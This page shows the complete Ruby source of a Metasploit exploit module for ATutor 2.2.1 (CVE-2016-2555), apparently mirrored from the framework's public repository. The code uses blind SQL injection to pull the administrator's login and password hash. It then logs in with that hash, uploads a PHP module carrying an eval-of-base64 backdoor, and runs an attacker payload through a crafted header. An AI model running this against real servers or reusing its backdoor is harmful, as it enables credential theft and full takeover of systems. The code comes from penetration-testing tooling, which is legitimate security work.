Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/atutor_sqli.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
17
'Description' => %q{
18
This module exploits a SQL Injection vulnerability and an authentication weakness
19
vulnerability in ATutor. This essentially means an attacker can bypass authentication
20
and reach the administrator's interface where they can upload malicious code.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
25
],
26
'References' => [
27
[ 'CVE', '2016-2555' ],
28
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
29
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
30
],
31
'Privileged' => false,
32
'Payload' => {
33
'DisableNops' => true,
34
},
35
'Platform' => ['php'],
36
'Arch' => ARCH_PHP,
37
'Targets' => [[ 'Automatic', {}]],
38
'DisclosureDate' => '2016-03-01',
39
'DefaultTarget' => 0,
40
'Notes' => {
41
'Reliability' => UNKNOWN_RELIABILITY,
42
'Stability' => UNKNOWN_STABILITY,
43
'SideEffects' => UNKNOWN_SIDE_EFFECTS
44
}
45
)
46
)
47
48
register_options(
49
[
50
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
51
]
52
)
53
end
54
55
def print_status(msg = '')
56
super("#{peer} - #{msg}")
57
end
58
59
def print_error(msg = '')
60
super("#{peer} - #{msg}")
61
end
62
63
def print_good(msg = '')
64
super("#{peer} - #{msg}")
65
end
66
67
def check
68
# the only way to test if the target is vuln
69
if test_injection
70
return Exploit::CheckCode::Vulnerable
71
else
72
return Exploit::CheckCode::Safe
73
end
74
end
75
76
def create_zip_file
77
zip_file = Rex::Zip::Archive.new
78
@header = Rex::Text.rand_text_alpha_upper(4)
79
@payload_name = Rex::Text.rand_text_alpha_lower(4)
80
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
81
82
path = "#{@plugin_name}/#{@payload_name}.php"
83
# this content path is where the ATutor authors recommended installing it
84
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
85
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
86
zip_file.pack
87
end
88
89
def exec_code
90
send_request_cgi({
91
'method' => 'GET',
92
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
93
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
94
}, 0.1)
95
end
96
97
def upload_shell(cookie)
98
post_data = Rex::MIME::Message.new
99
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
100
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
101
data = post_data.to_s
102
res = send_request_cgi({
103
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
104
'method' => 'POST',
105
'data' => data,
106
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
107
'cookie' => cookie
108
})
109
110
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
111
res = send_request_cgi({
112
'method' => 'GET',
113
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
114
'cookie' => cookie
115
})
116
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
117
res = send_request_cgi({
118
'method' => 'GET',
119
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
120
'cookie' => cookie
121
})
122
return true
123
end
124
end
125
# unknown failure...
126
fail_with(Failure::Unknown, "Unable to upload php code")
127
return false
128
end
129
130
def login(username, hash)
131
password = Rex::Text.sha1(hash)
132
res = send_request_cgi({
133
'method' => 'POST',
134
'uri' => normalize_uri(target_uri.path, "login.php"),
135
'vars_post' => {
136
'form_password_hidden' => password,
137
'form_login' => username,
138
'submit' => 'Login',
139
'token' => ''
140
},
141
})
142
# poor developer practices
143
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
144
if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
145
# if we made it here, we are admin
146
store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash)
147
return cookie
148
end
149
# auth failed if we land here, bail
150
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
151
return nil
152
end
153
154
def perform_request(sqli)
155
# the search requires a minimum of 3 chars
156
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
157
rand_key = Rex::Text.rand_text_alpha(1)
158
res = send_request_cgi({
159
'method' => 'POST',
160
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
161
'vars_post' => {
162
"search_friends_#{rand_key}" => sqli,
163
'rand_key' => rand_key,
164
'search' => 'Search'
165
},
166
})
167
res ? res.body : ''
168
end
169
170
def dump_the_hash
171
extracted_hash = ""
172
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
173
login_and_hash_length = generate_sql_and_test(do_true = false, do_test = false, sql = sqli).to_i
174
for i in 1..login_and_hash_length
175
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
176
asciival = generate_sql_and_test(false, false, sqli)
177
if asciival >= 0
178
extracted_hash << asciival.chr
179
end
180
end
181
return extracted_hash.split(":")
182
end
183
184
# greetz to rsauron & the darkc0de crew!
185
def get_ascii_value(sql)
186
lower = 0
187
upper = 126
188
while lower < upper
189
mid = (lower + upper) / 2
190
sqli = "#{sql}>#{mid}"
191
result = perform_request(sqli)
192
if result =~ /There are \d+ entries\./
193
lower = mid + 1
194
else
195
upper = mid
196
end
197
end
198
if lower > 0 and lower < 126
199
value = lower
200
else
201
sqli = "#{sql}=#{lower}"
202
result = perform_request(sqli)
203
if result =~ /There are \d+ entries\./
204
value = lower
205
end
206
end
207
return value
208
end
209
210
def generate_sql_and_test(do_true = false, do_test = false, sql = nil)
211
if do_test
212
if do_true
213
result = perform_request("1=1")
214
if result =~ /There are \d+ entries\./
215
return true
216
end
217
else not do_true
218
result = perform_request("1=2")
219
if not result =~ /There are \d+ entries\./
220
return true
221
end
222
end
223
elsif not do_test and sql
224
return get_ascii_value(sql)
225
end
226
end
227
228
def test_injection
229
if generate_sql_and_test(do_true = true, do_test = true, sql = nil)
230
if generate_sql_and_test(do_true = false, do_test = true, sql = nil)
231
return true
232
end
233
end
234
return false
235
end
236
237
def service_details
238
super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' })
239
end
240
241
def exploit
242
print_status("Dumping the username and password hash...")
243
credz = dump_the_hash
244
if credz.nil? || credz.empty?
245
fail_with(Failure::NotVulnerable, 'Failed to retrieve username and password hash')
246
end
247
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
248
admin_cookie = login(credz[0], credz[1])
249
if upload_shell(admin_cookie)
250
exec_code
251
end
252
end
253
end
254
255